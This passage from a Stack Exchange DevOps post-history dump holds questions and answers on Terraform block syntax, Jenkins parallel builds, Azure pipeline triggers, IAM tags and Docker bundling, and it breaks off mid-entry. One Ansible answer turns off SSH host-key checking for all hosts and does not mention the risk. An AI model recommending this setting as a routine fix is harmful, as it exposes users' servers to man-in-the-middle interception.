  <row Id="35258" PostHistoryTypeId="2" PostId="11527" RevisionGUID="9b4c60b7-d0a6-4561-87cb-68ebcbacf325" CreationDate="2020-05-05T18:21:57.377" UserId="2463" Text="It looks like there are two different problems here, so I'll answer them separately.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;First, we'll talk about the errors of this type:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Unsupported argument&#xD;&#xA;&#xD;&#xA;  on main.tf line 8, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;   8:       secrets = {&#xD;&#xA;&#xD;&#xA;An argument named &quot;secrets&quot; is not expected here. Did you mean to define a&#xD;&#xA;block of type &quot;secrets&quot;?&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This error is talking about the distinction described in the Terraform documentation section [Arguments and Blocks](https://www.terraform.io/docs/configuration/syntax.html#arguments-and-blocks), and is telling you that `secrets` is defined in the provider's schema as using nested block syntax rather than argument syntax.&#xD;&#xA;&#xD;&#xA;The syntax for nested blocks and the syntax for literal object values are both similar in that they use `{` `}` as delimiters, but the meaning of these and what is valid inside the braces in each case is distinct.&#xD;&#xA;&#xD;&#xA;To fix this, you can use the block syntax to define these nested objects:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  secrets {&#xD;&#xA;    secret_id   = docker_secret.mysql_root_password.id&#xD;&#xA;    secret_name = docker_secret.mysql_root_password.name&#xD;&#xA;    file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;  }&#xD;&#xA;  secrets {&#xD;&#xA;    secret_id   = docker_secret.mysql_db_password.id&#xD;&#xA;    secret_name = docker_secret.mysql_db_password.name&#xD;&#xA;    file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The same is true for the `mounts` block type:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  mounts {&#xD;&#xA;    target = &quot;/var/lib/mysql&quot;&#xD;&#xA;    source = docker_volume.mysql_data_volume.name&#xD;&#xA;    type   = &quot;volume&quot;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The other error message you saw is an unrelated problem:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error: Incorrect attribute value type&#xD;&#xA;&#xD;&#xA;  on main.tf line 34, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;  34:     networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;&#xD;&#xA;Inappropriate value for attribute &quot;networks&quot;: set of string required.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This error is saying that the `networks` argument requires a set of strings, but the value you gave here is a single string. This is happening because you've put the reference expression in quotes, and so Terraform assumes you are intending to give a literal string rather than a reference here. The first step to address this is to remove the quotes so to make this a [reference expression](https://www.terraform.io/docs/configuration/expressions.html#references-to-named-values) rather than a [literal expression](https://www.terraform.io/docs/configuration/expressions.html#literal-expressions):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  networks = docker_network.private_overlay_network.name&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That's not sufficient for this particular situation though, because this `name` attribute is just a single string rather than a set of strings, and so the above change alone will not fully fix the problem. To address this secondary problem we can use brackets `[` `]` to construct a single-element sequence:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  networks = [docker_network.private_overlay_network.name]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This argument expects a set of strings rather than a sequence of strings, but that's okay here because Terraform will automatically convert the sequence into a set. (A set is an unordered collection of distinct values, whereas a sequence is an ordered collection of values that may contain duplicates.)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35259" PostHistoryTypeId="5" PostId="11506" RevisionGUID="214c4203-0d32-4c58-85b7-cd01a36f7fa8" CreationDate="2020-05-05T19:27:56.373" UserId="22081" Comment="fix typos" Text="We're a software team currently trying to hire a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;We have an assessment for Software Developer candidates and we're currently evaluating the idea of having an assessment for our DevOps Engineer candidates. Since we have not hired DevOps people before and barely know a few, it would help us greatly.&#xD;&#xA;&#xD;&#xA;What would be your advice ? &#xD;&#xA;If you support there should be an assessment, then what would be the content ?&#xD;&#xA;&#xD;&#xA;### EDIT(Additional Info):&#xD;&#xA;-  We need to hire a DevOps Engineer to bootstrap our all DevOps process/culture.&#xD;&#xA;-  We have more than 100 servers. Around 20 different apps on them.&#xD;&#xA;&#xD;&#xA;- We want him/her to;&#xD;&#xA;&#xD;&#xA; -  Install a main devops tool like Jenkins or Teamcity &#xD;&#xA; -  Build the pipelines for all this apps and servers&#xD;&#xA; -  CIntegration, CDelivery, CDeployment depending on what app does&#xD;&#xA; -  help migrate to Linux and/or docker&#xD;&#xA;&#xD;&#xA;### About assessment&#xD;&#xA;- It must be about building and deploying a few apps interacting with each other to different targets with different configurations.&#xD;&#xA;&#xD;&#xA;### EDIT 2(answers):&#xD;&#xA;Thanks for answers. While reading them, I'll answer the questions to make the backstory clearer.&#xD;&#xA;&#xD;&#xA;@taleodor&#xD;&#xA;&#xD;&#xA;* Developers including me are doing provisioning/build/deployments. We're very unhappy about that.&#xD;&#xA;* Unfortunately, we can only hire one person for all our expectations. &#xD;&#xA;  * We have plenty of time to put everything together, so it should not be problem for anyone who's willing to do all the stuff.&#xD;&#xA;* Assignment will be take-at-home and candidates will be given a few days to complete. No problem about that. After all assessment is complementary to interview.&#xD;&#xA;* I know a few DevOps people. I may get their help for evaluating assessments.&#xD;&#xA;&#xD;&#xA;@030&#xD;&#xA;&#xD;&#xA;I agree the devs automating their stuff is much better than another person doing that. But we have a big backlog about devops. We need someone to show us the way while doing the bulk of it himself/herself. We are not considering to totally forget the process. We want exact opposite: we want to do things right but we don't know where to start and don't have time.&#xD;&#xA;&#xD;&#xA;I installed Jenkins. Set up pipelines for some of the projects. But I am a senior developer. Neither me nor my executive wants my all time spent on this." ContentLicense="CC BY-SA 4.0" />
  <row Id="35260" PostHistoryTypeId="2" PostId="11528" RevisionGUID="d7f7782a-ba6f-4b2d-a47b-e59b65514bc8" CreationDate="2020-05-05T19:59:28.000" UserId="22121" Text="I have this test pipeline code, it runs 2 build on different nodes on `build_servers` as expected. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent { label 'myserver' }&#xD;&#xA;    stages {&#xD;&#xA;        stage('1') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    def tests = [:]&#xD;&#xA;                    for (f in [ 'x', 'y' ]) {&#xD;&#xA;                        tests[&quot;${f}&quot;] = {&#xD;&#xA;                            node('build_servers') {&#xD;&#xA;                                stage('Clean Workspace') {&#xD;&#xA;                                     echo &quot;cleaning up Ws ${f}&quot;&#xD;&#xA;                                     step([$class: 'WsCleanup'])&#xD;&#xA;                                }&#xD;&#xA;                                stage('create Wspace txt file') {&#xD;&#xA;                                        script {&#xD;&#xA;                                            props=&quot;Wspace=${workspace}&quot;&#xD;&#xA;                                            dir ( 'wspace') {&#xD;&#xA;                                                    writeFile file: 'params.txt', text: props&#xD;&#xA;                                            }&#xD;&#xA;                                        }&#xD;&#xA;                                }&#xD;&#xA;                                stage('Run other job') {&#xD;&#xA;                                    script {&#xD;&#xA;                                        println('calling other project')&#xD;&#xA;                                        props = readProperties file: &quot;wspace/params.txt&quot;&#xD;&#xA;                                           file_params = props.collect {&#xD;&#xA;                                                string(name: it.key, value: it.value)&#xD;&#xA;                                        }&#xD;&#xA;                                        build job: &quot;other_job2&quot;, parameters: file_params, wait: true, propagate: true&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    parallel tests&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I expect it to trigger 2 different builds on `other_job2`, but it submits just one job and both `tests['x'] and tests['y']` waits for the same job to finish, why is that? should it not create 2 different  jobs in `other_job2` project, one for `x` and one for `y`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35261" PostHistoryTypeId="1" PostId="11528" RevisionGUID="d7f7782a-ba6f-4b2d-a47b-e59b65514bc8" CreationDate="2020-05-05T19:59:28.000" UserId="22121" Text="Running parallel builds from jenkins pipeline job triggers and waits for same job on other project" ContentLicense="CC BY-SA 4.0" />
  <row Id="35262" PostHistoryTypeId="3" PostId="11528" RevisionGUID="d7f7782a-ba6f-4b2d-a47b-e59b65514bc8" CreationDate="2020-05-05T19:59:28.000" UserId="22121" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35263" PostHistoryTypeId="5" PostId="11528" RevisionGUID="4c04432e-49e5-44b4-9d12-256d5b021b8f" CreationDate="2020-05-05T20:14:50.253" UserId="22121" Comment="Add more info to describe the problem" Text="I have this test pipeline code, it runs 2 build on different nodes on `build_servers` as expected. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent { label 'myserver' }&#xD;&#xA;    stages {&#xD;&#xA;        stage('1') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    def tests = [:]&#xD;&#xA;                    for (f in [ 'x', 'y' ]) {&#xD;&#xA;                        tests[&quot;${f}&quot;] = {&#xD;&#xA;                            node('build_servers') {&#xD;&#xA;                                stage('Clean Workspace') {&#xD;&#xA;                                     echo &quot;cleaning up Ws ${f}&quot;&#xD;&#xA;                                     step([$class: 'WsCleanup'])&#xD;&#xA;                                }&#xD;&#xA;                                stage('create Wspace txt file') {&#xD;&#xA;                                        script {&#xD;&#xA;                                            props=&quot;Wspace=${workspace}&quot;&#xD;&#xA;                                            dir ( 'wspace') {&#xD;&#xA;                                                    writeFile file: 'params.txt', text: props&#xD;&#xA;                                            }&#xD;&#xA;                                        }&#xD;&#xA;                                }&#xD;&#xA;                                stage('Run other job') {&#xD;&#xA;                                    script {&#xD;&#xA;                                        println('calling other project')&#xD;&#xA;                                        props = readProperties file: &quot;wspace/params.txt&quot;&#xD;&#xA;                                           file_params = props.collect {&#xD;&#xA;                                                string(name: it.key, value: it.value)&#xD;&#xA;                                        }&#xD;&#xA;                                        build job: &quot;other_job2&quot;, parameters: file_params, wait: true, propagate: true&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    parallel tests&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I expect it to trigger 2 different builds on `other_job2`, but it submits just one job and both `tests['x'] and tests['y']` waits for the same job to finish, why is that? should it not create 2 different  jobs in `other_job2` project, one for `x` and one for `y`?&#xD;&#xA;&#xD;&#xA;Also, I am printing `${f}` in `echo &quot;cleaning up WS...` line, I expected to see both x and y, but I see only `cleaning up Ws y` printed for both `[x]` and `[y]` as below&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[x] cleaning up Ws y&#xD;&#xA;    [Pipeline] cleanWs&#xD;&#xA;[x] [WS-CLEANUP] Deleting project workspace...&#xD;&#xA;    [WS-CLEANUP] Deferred wipeout is used...&#xD;&#xA;    [WS-CLEANUP] done&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;[y] cleaning up Ws y&#xD;&#xA;    [Pipeline] cleanWs&#xD;&#xA;[y] [WS-CLEANUP] Deleting project workspace...&#xD;&#xA;    [WS-CLEANUP] Deferred wipeout is used...&#xD;&#xA;    [WS-CLEANUP] done&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35264" PostHistoryTypeId="2" PostId="11529" RevisionGUID="8ab1f5aa-b125-438c-b0c7-87bee86905b2" CreationDate="2020-05-05T20:19:38.323" UserId="1173" Text="Something needs to be different in other_job2 for tests['x'] and tests['y'].&#xD;&#xA;&#xD;&#xA;Example(untested),&#xD;&#xA;&#xD;&#xA;    for (f in [ 'x', 'y' ]) { {&#xD;&#xA;        {some code}&#xD;&#xA;        build job: &quot;other_job2&quot;, parameters: [file_params, string(name:'dummy', value: &quot;${f}&quot;)], wait: true, propagate: true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;https://www.jenkins.io/doc/pipeline/examples/#jobs-in-parallel" ContentLicense="CC BY-SA 4.0" />
  <row Id="35265" PostHistoryTypeId="5" PostId="11528" RevisionGUID="284429d3-6154-46cd-b1f3-df59d8bb81a3" CreationDate="2020-05-05T20:19:44.310" UserId="22121" Comment="Add more info to describe the problem, and pasted more console output" Text="I have this test pipeline code, it runs 2 build on different nodes on `build_servers` as expected. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent { label 'myserver' }&#xD;&#xA;    stages {&#xD;&#xA;        stage('1') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    def tests = [:]&#xD;&#xA;                    for (f in [ 'x', 'y' ]) {&#xD;&#xA;                        tests[&quot;${f}&quot;] = {&#xD;&#xA;                            node('build_servers') {&#xD;&#xA;                                stage('Clean Workspace') {&#xD;&#xA;                                     echo &quot;cleaning up Ws ${f}&quot;&#xD;&#xA;                                     step([$class: 'WsCleanup'])&#xD;&#xA;                                }&#xD;&#xA;                                stage('create Wspace txt file') {&#xD;&#xA;                                        script {&#xD;&#xA;                                            props=&quot;Wspace=${workspace}&quot;&#xD;&#xA;                                            dir ( 'wspace') {&#xD;&#xA;                                                    writeFile file: 'params.txt', text: props&#xD;&#xA;                                            }&#xD;&#xA;                                        }&#xD;&#xA;                                }&#xD;&#xA;                                stage('Run other job') {&#xD;&#xA;                                    script {&#xD;&#xA;                                        println('calling other project')&#xD;&#xA;                                        props = readProperties file: &quot;wspace/params.txt&quot;&#xD;&#xA;                                           file_params = props.collect {&#xD;&#xA;                                                string(name: it.key, value: it.value)&#xD;&#xA;                                        }&#xD;&#xA;                                        build job: &quot;other_job2&quot;, parameters: file_params, wait: true, propagate: true&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    parallel tests&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I expect it to trigger 2 different builds on `other_job2`, but it submits just one job and both `tests['x'] and tests['y']` waits for the same job to finish, why is that? should it not create 2 different  jobs in `other_job2` project, one for `x` and one for `y`?&#xD;&#xA;&#xD;&#xA;in the console output, I see build #5 for both [x] and [y] exactly as shown below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[x] Starting building: TEST » other_job2 #5&#xD;&#xA;[y] Starting building: TEST » other_job2 #5&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Also, I am printing `${f}` in `echo &quot;cleaning up WS...` line, I expected to see both x and y, but I see only `cleaning up Ws y` printed for both `[x]` and `[y]` as below&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[x] cleaning up Ws y&#xD;&#xA;    [Pipeline] cleanWs&#xD;&#xA;[x] [WS-CLEANUP] Deleting project workspace...&#xD;&#xA;    [WS-CLEANUP] Deferred wipeout is used...&#xD;&#xA;    [WS-CLEANUP] done&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;[y] cleaning up Ws y&#xD;&#xA;    [Pipeline] cleanWs&#xD;&#xA;[y] [WS-CLEANUP] Deleting project workspace...&#xD;&#xA;    [WS-CLEANUP] Deferred wipeout is used...&#xD;&#xA;    [WS-CLEANUP] done&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35266" PostHistoryTypeId="2" PostId="11530" RevisionGUID="d71c53e1-deb2-409a-a5c4-126549bdf3b0" CreationDate="2020-05-05T20:27:21.907" UserId="1173" Text="It doesn't tell the exact error message, however in my case,&#xD;&#xA;&#xD;&#xA;I was using firelens log driver with S3 configuration type. Since Fargate only supports local file at this point, I got the same error message. Once I changed it to local file in the task definition json, it proceeded further." ContentLicense="CC BY-SA 4.0" />
  <row Id="35267" PostHistoryTypeId="5" PostId="11529" RevisionGUID="db218fe2-d556-468b-a21d-031bfcf18ca6" CreationDate="2020-05-05T20:33:23.797" UserId="1173" Comment="added 58 characters in body" Text="Something needs to be different in other_job2 for tests['x'] and tests['y'].&#xD;&#xA;&#xD;&#xA;Example(untested),&#xD;&#xA;&#xD;&#xA;    for (f in [ 'x', 'y' ]) { {&#xD;&#xA;        {some code}&#xD;&#xA;        build job: &quot;other_job2&quot;, parameters: [file_params, string(name:'dummy', value: &quot;${f}&quot;)], wait: true, propagate: true&#xA;        // the dummy parameter is for preventing mutation&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;https://www.jenkins.io/doc/pipeline/examples/#jobs-in-parallel" ContentLicense="CC BY-SA 4.0" />
  <row Id="35271" PostHistoryTypeId="6" PostId="11506" RevisionGUID="a24afd63-249c-496c-97a6-52dbce39c549" CreationDate="2020-05-06T00:22:27.853" UserId="739" Comment="add HR tag since we don't have anything closer that I've found" Text="&lt;project-management&gt;&lt;software-engineering&gt;&lt;human-resources&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35272" PostHistoryTypeId="2" PostId="11532" RevisionGUID="3f82ca27-4eb4-45a0-b3eb-71d362c84b1c" CreationDate="2020-05-06T03:09:52.167" UserId="22072" Text="If You want to alwatys ignore this error, You can add this to vars in inventory:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[all:vars]&#xD;&#xA;   ansible_ssh_common_args=&quot;-o StrictHostKeyChecking=no&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35273" PostHistoryTypeId="12" PostId="11532" RevisionGUID="93d11ecb-5f59-4e6b-81b7-17aec9a8f9dd" CreationDate="2020-05-06T03:10:25.133" UserId="22072" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:22072,&quot;DisplayName&quot;:&quot;Dilson Rainov&quot;}]}" />
  <row Id="35274" PostHistoryTypeId="5" PostId="11532" RevisionGUID="5f6047b0-c006-4747-afe6-98ec211732a6" CreationDate="2020-05-06T03:19:06.997" UserId="22072" Comment="deleted 22 characters in body" Text="You can add this in inventory:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;   ansible_ssh_common_args=&quot;-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35275" PostHistoryTypeId="13" PostId="11532" RevisionGUID="f9156279-9468-454b-ab2a-ad3eab0229ed" CreationDate="2020-05-06T03:19:27.433" UserId="22072" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:22072,&quot;DisplayName&quot;:&quot;Dilson Rainov&quot;}]}" />
  <row Id="35277" PostHistoryTypeId="5" PostId="11532" RevisionGUID="d2d470d1-90cb-4645-bfc5-85bfd05bc38e" CreationDate="2020-05-06T06:25:27.347" UserId="22072" Comment="added 63 characters in body" Text="You can add this in inventory:&#xD;&#xA;&#xD;&#xA;```&#xD;ansible_ssh_common_args=&quot;-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null&quot;&#xD;&#xA;```&#xA;It's ignoring check host and setting /dev/null as Known host file." ContentLicense="CC BY-SA 4.0" />
  <row Id="35278" PostHistoryTypeId="2" PostId="11533" RevisionGUID="98547dbc-ba13-4f21-a0e7-4eff894aaa62" CreationDate="2020-05-06T06:47:03.017" UserId="19681" Text="I have a Repository in Azure Repos which has branches as master, build, feature. Build Branch and Feature branches have their own pipelines code in the azure-pipelines.yaml in the branch itself respectively. So that they can have their dedicated pipelines&#xD;&#xA;&#xD;&#xA;The problem is that When I commit to the Build branch or in the feature branch then, both the pipelines are triggered.&#xD;&#xA;&#xD;&#xA;I have written in my azure-pipelines.yml &#xD;&#xA;```&#xD;&#xA;trigger:&#xD;&#xA;  branches:&#xD;&#xA;    include:&#xD;&#xA;        - build&#xD;&#xA;    exclude:&#xD;&#xA;       - feature&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35279" PostHistoryTypeId="1" PostId="11533" RevisionGUID="98547dbc-ba13-4f21-a0e7-4eff894aaa62" CreationDate="2020-05-06T06:47:03.017" UserId="19681" Text="Azure Devops Pipelines Triggers not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="35280" PostHistoryTypeId="3" PostId="11533" RevisionGUID="98547dbc-ba13-4f21-a0e7-4eff894aaa62" CreationDate="2020-05-06T06:47:03.017" UserId="19681" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35281" PostHistoryTypeId="2" PostId="11534" RevisionGUID="7c5339e7-16ec-435b-aa03-13ad1e172d11" CreationDate="2020-05-06T06:52:44.803" UserId="17276" Text="If I add a tag to a codecommit repo with&#xD;&#xA;code commit =&gt; the repo =&gt; Settings =&gt; repository tags =&gt; add tags&#xD;&#xA;how do i reference this tag in IAM&#xD;&#xA;&#xD;&#xA;I have in the policy document a statment i am trying to use to reference the tag Im not sure what i use in the resource section to refrence a tag I add.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;statement {&#xD;&#xA;  sid = &quot;AllowCodeCommitAccess&quot;&#xD;&#xA;  actions = [&#xD;&#xA;    &quot;codecommit:GitPull&quot;,&#xD;&#xA;  ]&#xD;&#xA;resources = [&quot;?????????&quot;]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;Also I haven't actually added the tag yet to codecommit repo as something on aws said it could impact access. I assume that just means If IAM uses it to denny resources but wasn't %100 sure and haven't added it yet." ContentLicense="CC BY-SA 4.0" />
  <row Id="35282" PostHistoryTypeId="1" PostId="11534" RevisionGUID="7c5339e7-16ec-435b-aa03-13ad1e172d11" CreationDate="2020-05-06T06:52:44.803" UserId="17276" Text="How do you reference a code commit tag in IAM" ContentLicense="CC BY-SA 4.0" />
  <row Id="35283" PostHistoryTypeId="3" PostId="11534" RevisionGUID="7c5339e7-16ec-435b-aa03-13ad1e172d11" CreationDate="2020-05-06T06:52:44.803" UserId="17276" Text="&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35284" PostHistoryTypeId="2" PostId="11535" RevisionGUID="3597cf6b-0355-4bed-b16a-8da8b2be5dbb" CreationDate="2020-05-06T07:07:13.277" UserId="22125" Text="We want to create bundles of our applications in order to distribute to clients etc. An application can have more than one **component**. Ex: an application can have a spring server and a scheduler so in order to distribute this application both jars will have to be given to the client. &#xD;&#xA;&#xD;&#xA;We want to use Docker/Docker compose to accomplish this. Ex: we give a client a bundle containing a Docker compose file, and he/she just runs `docker-compose up` to start the application.&#xD;&#xA;&#xD;&#xA;We currently have a Jenkins pipeline that when run will produce a zip file containing `.tar` files of all the Docker images of the components. There will also be a `start.sh` (or `start.bat`) file that, when run, will load all the Docker images and run `docker-compose up`.&#xD;&#xA;&#xD;&#xA;Some of these components have properties that the client needs to configure according to their environment (ex: SCM URL). If the component is Spring/Java based, we would externally mount the application.properties file into the docker image in the `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;This all works, I just want to know if the current process we are using is compliant with industry standards or is there a better way of meeting the requirement? Any open source tools that would simplify the process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35285" PostHistoryTypeId="1" PostId="11535" RevisionGUID="3597cf6b-0355-4bed-b16a-8da8b2be5dbb" CreationDate="2020-05-06T07:07:13.277" UserId="22125" Text="Using DevOps pipelines to create distribution bundles of applications" ContentLicense="CC BY-SA 4.0" />
  <row Id="35286" PostHistoryTypeId="3" PostId="11535" RevisionGUID="3597cf6b-0355-4bed-b16a-8da8b2be5dbb" CreationDate="2020-05-06T07:07:13.277" UserId="22125" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;docker-compose&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35288" PostHistoryTypeId="2" PostId="11536" RevisionGUID="e51acc83-ee1b-4d4d-a125-a89bac418e97" CreationDate="2020-05-06T10:56:49.150" UserId="20328" Text="I personally made the unwise choice of cramming five different apps into a single database about 20 years ago. I then had to deal with the repercussions of that. The bad news is, this is really hard. The good news is, modern tools make it easiser, but not easy.&#xD;&#xA;&#xD;&#xA;So, first, absolutely get a single source of truth. You're using SQL Server, so there are a bunch of really good tools that will help you maintain your database in source control. One is provided by Microsoft. It's called [SQL Server Data Tools][1]. It only works inside Visual Studio. However, it's a solid tool. If you have an MSDN license to run VS, it's complete free. There are also 3rd party tools available for a cost. They're generally much more sophisticated (Microsoft doesn't give SSDT much love). I work for one of the vendors of such tools, [Redgate Software][2].&#xD;&#xA;&#xD;&#xA;Once you're on the path of maintaining the code in source control, the easy part is over. Now you have to figure out how to integrate the teams. Here's what we did. Every team got it's own branch of code (we did this in the old TFS, which sucked, you can use some variant of Git which will be much easier, not easy, just easier). This also means that each team had to have it's own copy of the database (which it sounds like what you're going for anyway). In fact, each developer got their own database and then  we had an integration testing database for each team. So the team worked on it's own, independent of the other teams.&#xD;&#xA;&#xD;&#xA;Next, we created a master integration database. This is where the teams came together. We had a main branch for the code and teams would have to merge their code semi-regularly into this branch and then we could run automated tests to see if any team had broken the code or structures of other teams.&#xD;&#xA;&#xD;&#xA;Then, you have to build a release process that ensures that any one team can't overwrite or supersede the others. This means that teams have to regularly merge from the main branch, changes from the other teams.&#xD;&#xA;&#xD;&#xA;It requires quite a bit of discipline and some training to get this all set up. However, it's doable. I'd also suggest implementing a flow control software like Jenkins, Octopus, AWS DevOps or Azure DevOps to assist with automating all of it.&#xD;&#xA;&#xD;&#xA;I've worked on [tons and tons of documentation][3] around these types of processes. Full disclosure, a lot of the info at that link includes our tooling. However, the processes are what you're looking for and you can find good information there. [This is a free ebook on these processes][4] I helped to write that's very product agnostic. Hopefully between these resources you get enough to help out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/sql/ssdt/download-sql-server-data-tools-ssdt&#xD;&#xA;  [2]: https://red-gate.com&#xD;&#xA;  [3]: https://www.red-gate.com/solutions/resources&#xD;&#xA;  [4]: https://www.red-gate.com/simple-talk/collections/database-lifecycle-management-achieving-continuous-delivery-for-databases/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35289" PostHistoryTypeId="2" PostId="11537" RevisionGUID="661dad26-2f78-4e93-afb4-2d7a7d4ad587" CreationDate="2020-05-06T11:37:51.687" UserId="2956" Text="Add a config file with parameters used in install/run script. You can look at Harbor ([Github][1], [install docs][2]) as an example of doing just that (and they have a configuration migrator).&#xD;&#xA;  [1]: https://github.com/goharbor/harbor&#xD;&#xA;  [2]: https://goharbor.io/docs/1.10/install-config/download-installer/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35294" PostHistoryTypeId="2" PostId="11539" RevisionGUID="c83a15f7-45f2-4ad7-a089-1986d8e3e9cc" CreationDate="2020-05-06T16:27:03.240" UserId="22143" Text="My datasets and codes are in different folders and they don't have immediate parent folder.&#xD;&#xA; I want my codes to access my datasets while using docker run. Is there a way to load both codes and datasets folder into workspace?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35295" PostHistoryTypeId="1" PostId="11539" RevisionGUID="c83a15f7-45f2-4ad7-a089-1986d8e3e9cc" CreationDate="2020-05-06T16:27:03.240" UserId="22143" Text="How can I load multiple paths into the workspace during docker run?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35296" PostHistoryTypeId="3" PostId="11539" RevisionGUID="c83a15f7-45f2-4ad7-a089-1986d8e3e9cc" CreationDate="2020-05-06T16:27:03.240" UserId="22143" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35298" PostHistoryTypeId="5" PostId="11386" RevisionGUID="d2f10c39-bf57-409d-923c-7f0355a23e60" CreationDate="2020-05-06T17:41:27.330" UserId="21810" Comment="added 39 characters in body" Text="**JFrog Artifactory pros**&#xD;&#xA;&#xD;&#xA;Artifactory supports 25+ package types, while Azure supports only Maven, npm, NuGet and Python. You can get Docker and Helm with Azure Container Registry but it’s a separate tool.&#xD;&#xA;&#xD;&#xA;Artifactory is fully hybrid - available both for on-premise installations and as SaaS - with full parity between the versions.&#xD;&#xA;&#xD;&#xA;With Artifactory you can avoid vendor lock-in - not depending just on one cloud vendor for all of your needs. That also means not being limited to any vendor’s stack for your database, access management, etc.&#xD;&#xA; Proxy any remote repository - not just the official ones (like Maven Central and PyPI.org)&#xD;&#xA;&#xD;&#xA;Artifactory is optimized for multi-site operations - Supports any network topology, over multiple, geographically distant sites and data centers, through different options for replication including pull, push, event-based and multi-push replication.&#xD;&#xA;&#xD;&#xA;Rich metadata &amp; AQL - Artifactory provides full metadata capabilities for all major package formats for both artifacts and folders – including custom metadata. Users can tag artifacts and folders with searchable properties. Artifactory also collects build information for build artifacts as part of the CI server integration (see below). AQL gives you unprecedented flexibility in how you search for artifacts. It offers a simple way to formulate complex queries that specify any number of search criteria, filters, sorting options and output fields.&#xD;&#xA;&#xD;&#xA;Build info - Artifactory stores exhaustive metadata for all build artifacts deployed to it. With this “bill of materials” it is easy to faithfully reproduce a build, and trace the cause of issues to reduce time to resolution (TTR), even if the build is already in production.&#xD;&#xA;&#xD;&#xA;**Azure Artifacts 